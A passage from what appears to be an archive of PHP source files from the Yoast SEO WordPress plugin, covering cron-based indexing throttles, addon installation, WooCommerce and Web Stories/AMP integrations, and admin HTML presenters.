		if ( ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) && ! $have_queries_ran ) {
			return;
		}

		if ( ! \wp_next_scheduled( 'wpseo_indexable_index_batch' ) && $this->should_index_on_cron() ) {
			\wp_schedule_event( ( \time() + \HOUR_IN_SECONDS ), 'fifteen_minutes', 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Limit cron indexing to 15 indexables per batch instead of 25.
	 *
	 * @param int $indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_indexing( $indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_indexing_limit_size' - Adds the possibility to limit the number of items that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of indexables to be indexed per indexing action.
			 */
			return \apply_filters( 'wpseo_cron_indexing_limit_size', 15 );
		}

		return $indexation_limit;
	}

	/**
	 * Limit cron indexing to 3 links per batch instead of 5.
	 *
	 * @param int $link_indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_link_indexing( $link_indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_link_indexing_limit_size' - Adds the possibility to limit the number of links that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of link indexables to be indexed per link indexing action.
			 */
			return \apply_filters( 'wpseo_cron_link_indexing_limit_size', 3 );
		}

		return $link_indexation_limit;
	}

	/**
	 * Determine whether cron indexation should be performed.
	 *
	 * @return bool Should cron indexation be performed.
	 */
	protected function should_index_on_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		// The filter supersedes everything when preventing cron indexation.
		if ( \apply_filters( 'Yoast\WP\SEO\enable_cron_indexing', true ) !== true ) {
			return false;
		}

		return $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) > 0;
	}

	/**
	 * Determine whether background indexation should be performed.
	 *
	 * @param int $shutdown_limit The shutdown limit used to determine whether indexation should be run.
	 *
	 * @return bool Should background indexation be performed.
	 */
	protected function should_index_on_shutdown( $shutdown_limit ) {
		if ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) {
			return false;
		}

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		if ( $this->wp_cron_enabled_conditional->is_met() ) {
			return false;
		}

		$total_unindexed = $this->indexing_helper->get_limited_filtered_unindexed_count_background( $shutdown_limit );
		if ( $total_unindexed === 0 || $total_unindexed > $shutdown_limit ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves the shutdown limit. This limit is the amount of indexables that is generated in the background.
	 *
	 * @return int The shutdown limit.
	 */
	protected function get_shutdown_limit() {
		/**
		 * Filter 'wpseo_shutdown_indexation_limit' - Allow filtering the number of objects that can be indexed during shutdown.
		 *
		 * @param int $limit The maximum number of objects indexed.
		 */
		return \apply_filters( 'wpseo_shutdown_indexation_limit', 25 );
	}

	/**
	 * Removes the cron indexing job from the scheduled event queue.
	 *
	 * @return void
	 */
	protected function unschedule_cron_indexing() {
		$scheduled = \wp_next_scheduled( 'wpseo_indexable_index_batch' );
		if ( $scheduled ) {
			\wp_unschedule_event( $scheduled, 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Registers a method to be executed on shutdown.
	 * This wrapper mostly exists for making this class more unittestable.
	 *
	 * @param string $method_name The name of the method on the current instance to register.
	 *
	 * @return void
	 */
	protected function register_shutdown_function( $method_name ) {
		\register_shutdown_function( [ $this, $method_name ] );
	}
}
integrations/admin/addon-installation/dialog-integration.php000066600000006661152204306260020434 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Represents the Addon installation feature.
 */
class Dialog_Integration implements Integration_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The addons.
	 *
	 * @var array
	 */
	protected $owned_addons;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'start_addon_installation' ] );
	}

	/**
	 * Starts the addon installation flow.
	 *
	 * @return void
	 */
	public function start_addon_installation() {
		// Only show the dialog when we explicitly want to see it.
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: This is not a form.
		if ( ! isset( $_GET['install'] ) || $_GET['install'] !== 'true' ) {
			return;
		}

		$this->bust_myyoast_addon_information_cache();
		$this->owned_addons = $this->get_owned_addons();

		if ( \count( $this->owned_addons ) > 0 ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'show_modal' ] );
		}
		else {
			\add_action( 'admin_notices', [ $this, 'throw_no_owned_addons_warning' ] );
		}
	}

	/**
	 * Throws a no owned addons warning.
	 *
	 * @return void
	 */
	public function throw_no_owned_addons_warning() {
		echo '<div class="notice notice-warning"><p>'
			. \sprintf(
				/* translators: %1$s expands to Yoast SEO */
				\esc_html__(
					'No %1$s plugins have been installed. You don\'t seem to own any active subscriptions.',
					'wordpress-seo'
				),
				'Yoast SEO'
			)
			. '</p></div>';
	}

	/**
	 * Shows the modal.
	 *
	 * @return void
	 */
	public function show_modal() {
		\wp_localize_script(
			WPSEO_Admin_Asset_Manager::PREFIX . 'addon-installation',
			'wpseoAddonInstallationL10n',
			[
				'addons' => $this->owned_addons,
				'nonce'  => \wp_create_nonce( 'wpseo_addon_installation' ),
			]
		);

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'addon-installation' );
	}

	/**
	 * Retrieves a list of owned addons for the site in MyYoast.
	 *
	 * @return array List of owned addons with slug as key and name as value.
	 */
	protected function get_owned_addons() {
		$owned_addons = [];

		foreach ( $this->addon_manager->get_myyoast_site_information()->subscriptions as $addon ) {
			$owned_addons[] = $addon->product->name;
		}

		return $owned_addons;
	}

	/**
	 * Bust the site information transients to have fresh data.
	 *
	 * @return void
	 */
	protected function bust_myyoast_addon_information_cache() {
		$this->addon_manager->remove_site_information_transients();
	}
}
integrations/admin/addon-installation/installation-integration.php000066600000014010152204306260021661 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Activation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Already_Installed_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Installation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Activate_Plugins_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Install_Plugins_Exception;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Plans\User_Interface\Plans_Page_Integration;

/**
 * Represents the Addon installation feature.
 */
class Installation_Integration implements Integration_Interface {

	/**
	 * The installation action.
	 *
	 * @var Addon_Install_Action
	 */
	protected $addon_install_action;

	/**
	 * The activation action.
	 *
	 * @var Addon_Activate_Action
	 */
	protected $addon_activate_action;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager   $addon_manager         The addon manager.
	 * @param Addon_Activate_Action $addon_activate_action The addon activate action.
	 * @param Addon_Install_Action  $addon_install_action  The addon install action.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		Addon_Activate_Action $addon_activate_action,
		Addon_Install_Action $addon_install_action
	) {
		$this->addon_manager         = $addon_manager;
		$this->addon_activate_action = $addon_activate_action;
		$this->addon_install_action  = $addon_install_action;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_install_and_activate_addons', [ $this, 'install_and_activate_addons' ] );
	}

	/**
	 * Installs and activates missing addons.
	 *
	 * @return void
	 */
	public function install_and_activate_addons() {
		if ( ! isset( $_GET['action'] ) || ! \is_string( $_GET['action'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing action below.
		$action = \wp_unslash( $_GET['action'] );
		if ( $action !== 'install' ) {
			return;
		}

		\check_admin_referer( 'wpseo_addon_installation', 'nonce' );

		echo '<div class="wrap yoast wpseo_table_page">';

		\printf(
			'<h1 id="wpseo-title" class="yoast-h1">%s</h1>',
			\esc_html__( 'Installing and activating addons', 'wordpress-seo' )
		);

		$licensed_addons = $this->addon_manager->get_myyoast_site_information()->subscriptions;

		foreach ( $licensed_addons as $addon ) {
			\printf( '<p><strong>%s</strong></p>', \esc_html( $addon->product->name ) );

			[ $installed, $output ] = $this->install_addon( $addon->product->slug, $addon->product->download );

			if ( $installed ) {
				$activation_output = $this->activate_addon( $addon->product->slug );

				$output = \array_merge( $output, $activation_output );
			}

			echo '<p>';
			echo \implode( '<br />', \array_map( 'esc_html', $output ) );
			echo '</p>';
		}

		\printf(
			/* translators: %1$s expands to an anchor tag to the admin premium page, %2$s expands to Yoast SEO Premium, %3$s expands to a closing anchor tag */
			\esc_html__( '%1$s Continue to %2$s%3$s', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'admin.php?page=' . Plans_Page_Integration::PAGE ) ) . '">',
			'Yoast SEO Premium',
			'</a>'
		);

		echo '</div>';

		exit;
	}

	/**
	 * Activates an addon.
	 *
	 * @param string $addon_slug The addon to activate.
	 *
	 * @return array The output of the activation.
	 */
	public function activate_addon( $addon_slug ) {
		$output = [];

		try {
			$this->addon_activate_action->activate_addon( $addon_slug );

			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon activated.', 'wordpress-seo' );
		} catch ( User_Cannot_Activate_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to activate plugins.', 'wordpress-seo' );
		} catch ( Addon_Activation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators:%s expands to the error message. */
				\__( 'Addon activation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return $output;
	}

	/**
	 * Installs an addon.
	 *
	 * @param string $addon_slug     The slug of the addon to install.
	 * @param string $addon_download The download URL of the addon.
	 *
	 * @return array The installation success state and the output of the installation.
	 */
	public function install_addon( $addon_slug, $addon_download ) {
		$installed = false;
		$output    = [];

		try {
			$installed = $this->addon_install_action->install_addon( $addon_slug, $addon_download );
		} catch ( Addon_Already_Installed_Exception $exception ) {
			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon installed.', 'wordpress-seo' );

			$installed = true;
		} catch ( User_Cannot_Install_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to install plugins.', 'wordpress-seo' );
		} catch ( Addon_Installation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators: %s expands to the error message. */
				\__( 'Addon installation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return [ $installed, $output ];
	}
}
integrations/admin/indexables-exclude-taxonomy-integration.php000066600000002613152204306260021023 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Indexables_Exclude_Taxonomy_Integration class
 */
class Indexables_Exclude_Taxonomy_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Indexables_Exclude_Taxonomy_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_taxonomies', [ $this, 'exclude_taxonomies_for_indexation' ] );
	}

	/**
	 * Exclude the taxonomy from the indexable table.
	 *
	 * @param array $excluded_taxonomies The excluded taxonomies.
	 *
	 * @return array The excluded taxonomies, including specific taxonomies.
	 */
	public function exclude_taxonomies_for_indexation( $excluded_taxonomies ) {
		$taxonomies_to_exclude = \array_merge( $excluded_taxonomies, [ 'wp_pattern_category' ] );

		if ( $this->options_helper->get( 'disable-post_format', false ) ) {
			return \array_merge( $taxonomies_to_exclude, [ 'post_format' ] );
		}

		return $taxonomies_to_exclude;
	}
}
integrations/third-party/woocommerce-permalinks.php000066600000005714152204306260016727 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * The permalink watcher.
 */
class Woocommerce_Permalinks implements Integration_Interface {

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param Indexable_Helper $indexable_helper Indexable Helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the hooks.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_post_types_reset_permalinks', [ $this, 'filter_product_from_post_types' ] );
		\add_action( 'update_option_woocommerce_permalinks', [ $this, 'reset_woocommerce_permalinks' ], 10, 2 );
	}

	/**
	 * Filters the product post type from the post type.
	 *
	 * @param array $post_types The post types to filter.
	 *
	 * @return array The filtered post types.
	 */
	public function filter_product_from_post_types( $post_types ) {
		unset( $post_types['product'] );

		return $post_types;
	}

	/**
	 * Resets the indexables for WooCommerce based on the changed permalink fields.
	 *
	 * @param array $old_value The old value.
	 * @param array $new_value The new value.
	 *
	 * @return void
	 */
	public function reset_woocommerce_permalinks( $old_value, $new_value ) {
		$changed_options = \array_diff( $old_value, $new_value );

		if ( \array_key_exists( 'product_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'post', 'product' );
		}

		if ( \array_key_exists( 'attribute_base', $changed_options ) ) {
			$attribute_taxonomies = $this->get_attribute_taxonomies();

			foreach ( $attribute_taxonomies as $attribute_name ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $attribute_name );
			}
		}

		if ( \array_key_exists( 'category_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_cat' );
		}

		if ( \array_key_exists( 'tag_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_tag' );
		}
	}

	/**
	 * Retrieves the taxonomies based on the attributes.
	 *
	 * @return array The taxonomies.
	 */
	protected function get_attribute_taxonomies() {
		$taxonomies = [];
		foreach ( \wc_get_attribute_taxonomies() as $attribute_taxonomy ) {
			$taxonomies[] = \wc_attribute_taxonomy_name( $attribute_taxonomy->attribute_name );
		}

		$taxonomies = \array_filter( $taxonomies );

		return $taxonomies;
	}
}
integrations/third-party/web-stories.php000066600000007731152204306260014511 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Web_Stories_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Title_Presenter;

/**
 * Web Stories integration.
 */
class Web_Stories implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Web_Stories_Conditional::class ];
	}

	/**
	 * Constructs the Web Stories integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Disable default title and meta description output in the Web Stories plugin,
		// and force-add title & meta description presenter, regardless of theme support.
		\add_filter( 'web_stories_enable_document_title', '__return_false' );
		\add_filter( 'web_stories_enable_metadata', '__return_false' );
		\add_filter( 'wpseo_frontend_presenters', [ $this, 'filter_frontend_presenters' ], 10, 2 );

		\add_action( 'web_stories_enable_schemaorg_metadata', '__return_false' );
		\add_action( 'web_stories_enable_open_graph_metadata', '__return_false' );
		\add_action( 'web_stories_enable_twitter_metadata', '__return_false' );

		\add_action( 'web_stories_story_head', [ $this, 'web_stories_story_head' ], 1 );
		\add_filter( 'wpseo_schema_article_type', [ $this, 'filter_schema_article_type' ], 10, 2 );
		\add_filter( 'wpseo_metadesc', [ $this, 'filter_meta_description' ], 10, 2 );
	}

	/**
	 * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
	 *
	 * @param array             $presenters The presenters.
	 * @param Meta_Tags_Context $context    The meta tags context for the current page.
	 * @return array Filtered presenters.
	 */
	public function filter_frontend_presenters( $presenters, $context ) {
		if ( $context->indexable->object_sub_type !== 'web-story' ) {
			return $presenters;
		}

		$has_title_presenter = false;

		foreach ( $presenters as $presenter ) {
			if ( $presenter instanceof Title_Presenter ) {
				$has_title_presenter = true;
			}
		}

		if ( ! $has_title_presenter ) {
			$presenters[] = new Title_Presenter();
		}

		return $presenters;
	}

	/**
	 * Hooks into web story <head> generation to modify output.
	 *
	 * @return void
	 */
	public function web_stories_story_head() {
		\remove_action( 'web_stories_story_head', 'rel_canonical' );
		\add_action( 'web_stories_story_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Filters the meta description for stories.
	 *
	 * @param string                 $description  The description sentence.
	 * @param Indexable_Presentation $presentation The presentation of an indexable.
	 * @return string The description sentence.
	 */
	public function filter_meta_description( $description, $presentation ) {
		if ( $description || $presentation->model->object_sub_type !== 'web-story' ) {
			return $description;
		}

		return \get_the_excerpt( $presentation->model->object_id );
	}

	/**
	 * Filters Article type for Web Stories.
	 *
	 * @param string|string[] $type      The Article type.
	 * @param Indexable       $indexable The indexable.
	 * @return string|string[] Article type.
	 */
	public function filter_schema_article_type( $type, $indexable ) {
		if ( $indexable->object_sub_type !== 'web-story' ) {
			return $type;
		}

		if ( \is_string( $type ) && $type === 'None' ) {
			return 'Article';
		}

		return $type;
	}
}
integrations/third-party/amp.php000066600000002723152204306260013017 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * AMP integration.
 */
class AMP implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Constructs the AMP integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'amp_post_template_head', [ $this, 'remove_amp_meta_output' ], 0 );
		\add_action( 'amp_post_template_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Removes amp meta output.
	 *
	 * @return void
	 */
	public function remove_amp_meta_output() {
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_title' );
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_canonical' );
		\remove_action( 'amp_post_template_head', 'amp_print_schemaorg_metadata' );
	}
}
initializers/woocommerce.php000066600000001417152204306260012311 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Automattic\WooCommerce\Utilities\FeaturesUtil;
use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Declares compatibility with the WooCommerce HPOS feature.
 */
class Woocommerce implements Initializer_Interface {

	use No_Conditionals;

	/**
	 * Hooks into WooCommerce.
	 *
	 * @return void
	 */
	public function initialize() {
			\add_action( 'before_woocommerce_init', [ $this, 'declare_custom_order_tables_compatibility' ] );
	}

	/**
	 * Declares compatibility with the WooCommerce HPOS feature.
	 *
	 * @return void
	 */
	public function declare_custom_order_tables_compatibility() {
		if ( \class_exists( FeaturesUtil::class ) ) {
			FeaturesUtil::declare_compatibility( 'custom_order_tables', \WPSEO_FILE, true );
		}
	}
}
initializers/initializer-interface.php000066600000000531152204306260014247 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * Integration interface definition.
 *
 * An interface for registering integrations with WordPress.
 */
interface Initializer_Interface extends Loadable_Interface {

	/**
	 * Runs this initializer.
	 *
	 * @return void
	 */
	public function initialize();
}
presenters/url-list-presenter.php000066600000002431152204306260013233 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for the URL list.
 */
class Url_List_Presenter extends Abstract_Presenter {

	/**
	 * If the url should be target blank.
	 *
	 * @var bool
	 */
	private $target_blank;

	/**
	 * A list of arrays containing titles and URLs.
	 *
	 * @var array
	 */
	private $links;

	/**
	 * Classname for the URL list.
	 *
	 * @var string
	 */
	private $class_name;

	/**
	 * Url_List_Presenter constructor.
	 *
	 * @param array  $links        A list of arrays containing titles and urls.
	 * @param string $class_name   Classname for the url list.
	 * @param bool   $target_blank If the url should be target blank.
	 */
	public function __construct( $links, $class_name = 'yoast-url-list', $target_blank = false ) {
		$this->links        = $links;
		$this->class_name   = $class_name;
		$this->target_blank = $target_blank;
	}

	/**
	 * Presents the URL list.
	 *
	 * @return string The URL list.
	 */
	public function present() {
		$output = '<ul class="' . $this->class_name . '">';
		foreach ( $this->links as $link ) {
			$output .= '<li><a';
			if ( $this->target_blank ) {
				$output .= ' target = "_blank"';
			}
			$output .= ' href="' . $link['permalink'] . '">' . $link['title'] . '</a></li>';
		}
		$output .= '</ul>';

		return $output;
	}
}
presenters/admin/meta-fields-presenter.php000066600000003100152204306260014734 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WP_Post;
use WPSEO_Meta;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Presenter class for meta fields in the post editor.
 *
 * Outputs the hidden fields for a particular field group and post.
 */
class Meta_Fields_Presenter extends Abstract_Presenter {

	/**
	 * The meta fields for which we are going to output hidden input.
	 *
	 * @var array
	 */
	private $meta_fields;

	/**
	 * The metabox post.
	 *
	 * @var WP_Post The metabox post.
	 */
	private $post;

	/**
	 * Meta_Fields_Presenter constructor.
	 *
	 * @param WP_Post $post        The metabox post.
	 * @param string  $field_group The key under which a group of fields is grouped.
	 * @param string  $post_type   The post type.
	 */
	public function __construct( $post, $field_group, $post_type = 'post' ) {
		$this->post        = $post;
		$this->meta_fields = WPSEO_Meta::get_meta_field_defs( $field_group, $post_type );
	}

	/**
	 * Presents the Meta Fields.
	 *
	 * @return string The styled Alert.
	 */
	public function present() {
		$output = '';

		foreach ( $this->meta_fields as $key => $meta_field ) {
			$form_key   = \esc_attr( WPSEO_Meta::$form_prefix . $key );
			$meta_value = WPSEO_Meta::get_value( $key, $this->post->ID );

			$default = '';
			if ( isset( $meta_field['default'] ) ) {
				$default = \sprintf( ' data-default="%s"', \esc_attr( $meta_field['default'] ) );
			}

			$output .= '<input type="hidden" id="' . $form_key . '" name="' . $form_key . '" value="' . \esc_attr( $meta_value ) . '"' . $default . '/>' . "\n";
		}

		return $output;
	}
}
presenters/admin/indexing-list-item-presenter.php000066600000003012152204306260016256 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Indexing_List_Item_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Indexing_List_Item_Presenter extends Abstract_Presenter {

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Indexing_List_Item_Presenter constructor.
	 *
	 * @param Short_Link_Helper $short_link_helper Represents the short link helper.
	 */
	public function __construct( Short_Link_Helper $short_link_helper ) {
		$this->short_link_helper = $short_link_helper;
	}

	/**
	 * Presents the list item for the tools menu.
	 *
	 * @return string The list item HTML.
	 */
	public function present() {
		$output  = \sprintf( '<li><strong>%s</strong><br/>', \esc_html__( 'Optimize SEO Data', 'wordpress-seo' ) );
		$output .= \sprintf(
			'%1$s <a href="%2$s" target="_blank">%3$s</a>',
			\esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored. If you have a lot of content it might take a while, but trust us, it\'s worth it.', 'wordpress-seo' ),
			\esc_url( $this->short_link_helper->get( 'https://yoa.st/3-z' ) ),
			\esc_html__( 'Learn more about the benefits of optimized SEO data.', 'wordpress-seo' )
		);

		$output .= '<div id="yoast-seo-indexing-action" style="margin: 16px 0;"></div>';
		$output .= '</li>';

		return $output;
	}
}
presenters/admin/help-link-presenter.php000066600000004121152204306260014431 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for Help link.
 */
class Help_Link_Presenter extends Abstract_Presenter {

	/**
	 * Help link.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Help link visually hidden text.
	 *
	 * @var string
	 */
	private $link_text;

	/**
	 * Whether the Help link opens in a new browser tab.
	 *
	 * @var bool
	 */
	private $opens_in_new_browser_tab;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Help_Link_Presenter constructor.
	 *
	 * @param string $link                     Help link.
	 * @param string $link_text                Help link visually hidden text.
	 * @param bool   $opens_in_new_browser_tab Whether the link opens in a new browser tab. Default true.
	 */
	public function __construct( $link = '', $link_text = '', $opens_in_new_browser_tab = true ) {
		$this->link                     = $link;
		$this->link_text                = $link_text;
		$this->opens_in_new_browser_tab = $opens_in_new_browser_tab;

		if ( ! $this->asset_manager ) {
			$this->asset_manager = new WPSEO_Admin_Asset_Manager();
		}

		$this->asset_manager->enqueue_style( 'admin-global' );
	}

	/**
	 * Presents the Help link.
	 *
	 * @return string The styled Help link.
	 */
	public function present() {
		if ( $this->link === '' || $this->link_text === '' ) {
			return;
		}

		$target_blank_attribute = '';
		$new_tab_message        = '';

		if ( $this->opens_in_new_browser_tab ) {
			$target_blank_attribute = ' target="_blank"';
			/* translators: Hidden accessibility text. */
			$new_tab_message = ' ' . \__( '(Opens in a new browser tab)', 'wordpress-seo' );
		}

		return \sprintf(
			'<a href="%1$s"%2$s class="yoast_help yoast-help-link dashicons"><span class="yoast-help-icon" aria-hidden="true"></span><span class="screen-reader-text">%3$s</span></a>',
			\esc_url( $this->link ),
			$target_blank_attribute,
			\esc_html( $this->link_text . $new_tab_message )
		);
	}
}
presenters/admin/beta-badge-presenter.php000066600000002447152204306260014532 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for "Beta" badges.
 */
class Beta_Badge_Presenter extends Abstract_Presenter {

	/**
	 * Identifier of the badge.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * Optional link of the badge.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Beta_Badge_Presenter constructor.
	 *
	 * @param string $id   Id of the badge.
	 * @param string $link Optional link of the badge.
	 */
	public function __construct( $id, $link = '' ) {
		$this->id   = $id;
		$this->link = $link;
	}

	/**
	 * Presents the Beta Badge. If a link has been passed, the badge is presented with the link.
	 * Otherwise a static badge is presented.
	 *
